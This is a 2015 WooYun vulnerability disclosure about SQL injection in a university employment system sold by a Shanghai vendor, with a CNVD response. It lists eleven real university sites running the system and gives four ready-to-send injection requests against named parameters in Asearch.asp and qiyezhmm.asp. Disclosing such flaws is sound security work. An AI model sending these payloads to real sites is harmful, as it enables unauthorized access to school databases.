当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0116085

漏洞标题：某高校在用就业系统2处SQL注射漏洞

相关厂商：上海甲鼎信息技术有限公司

漏洞作者： 路人甲

提交时间：2015-05-25 23:03

修复时间：2015-08-28 00:52

公开时间：2015-08-28 00:52

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-25： 细节已通知厂商并且等待厂商处理中
2015-05-30： 厂商已经确认，细节仅向厂商公开
2015-06-02： 细节向第三方安全合作伙伴开放
2015-07-24： 细节向核心白帽子及相关领域专家公开
2015-08-03： 细节向普通白帽子公开
2015-08-13： 细节向实习白帽子公开
2015-08-28： 细节向公众公开

简要描述：

某高校在用就业系统2处SQL注射漏洞

详细说明：

存在漏洞的是上海甲鼎信息技术有限公司 开发的高校就业信息服务系统
官方网站：http://www.infojiading.cn/
案例：

http://jy.shutcm.edu.cn/index.asp  上海中医药大学
http://jiuye.lixin.edu.cn/index.asp  上海立信会计学院
http://job.shmtu.edu.cn/index.asp  上海海事大学学生就业信息网
http://jiuye.sbs.edu.cn/index.asp  上海商学院
http://job.shupl.edu.cn/index.asp  上海政法学院
http://jy.sthu.edu.cn/index.asp    上海师范大学天华学院
http://job.shjgu.edu.cn/index.asp  上海济光职业技术学院
http://jytd.lidapoly.edu.cn/job/index.asp 上海立达职业技术学院
http://job.sicfl.edu.cn/  上海工商外国语职业学院
http://job.smic.edu.cn/index.asp   上海医疗器械高等专科学校
http://www.infojiading.cn/sppcweb/index.asp  上海出版印刷高等专科学校


漏洞详情：
1.由于页面：/Asearch.asp POST 参数：ClassID 未安全过滤导致的SQL注射漏洞
2.由于页面：/Asearch.asp GET 参数：TClassID 未安全过滤导致的SQL注射漏洞
3.由于页面：/qiyezhmm.asp?type=2 POST 参数：dwmc 未安全过滤导致的SQL注射漏洞
4.由于页面：/qiyezhmm.asp?type=2 POST 参数：dwzzjgdm 未安全过滤导致的SQL注射漏洞

1.
/Asearch.asp
POST DATA:
ClassID='+(select%20convert(int,DB_NAME())%20FROM%20syscolumns)+'&enter=&Field=%d0%c5%cf%a2%b1%ea%cc%e2&keyword=1
2.
/Asearch.asp?TClassID='%2B(select%20convert(int,DB_NAME())%20FROM%20syscolumns)%2B'&TField=%D0%C5%CF%A2%C4%DA%C8%DD&TKey=1&Tpage=2
3.
/qiyezhmm.asp?type=2
POST DATA:
Submit=1&dwmc='+(select%20convert(int,DB_NAME())%20FROM%20syscolumns)+'&dwzzjgdm=1
4.
/qiyezhmm.asp?type=2
POST DATA:
Submit=1&dwmc=1&dwzzjgdm='+(select%20convert(int,DB_NAME())%20FROM%20syscolumns)+'

漏洞证明：

漏洞复现：以上海中医药大学(http://jy.shutcm.edu.cn/index.asp)为例：
1.参数：ClassID

001.png


2.参数：TClassID

002.png


3.参数：dwmc

003.png


4.参数：dwzzjgdm

004.png


修复方案：

对参数进行判断并过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-05-30 00:50

厂商回复：

CNVD确认所述情况，已经由CNVD通过网站公开联系方式向软件生产厂商及赛尔教育通报。

最新状态：

暂无

漏洞评价：

评论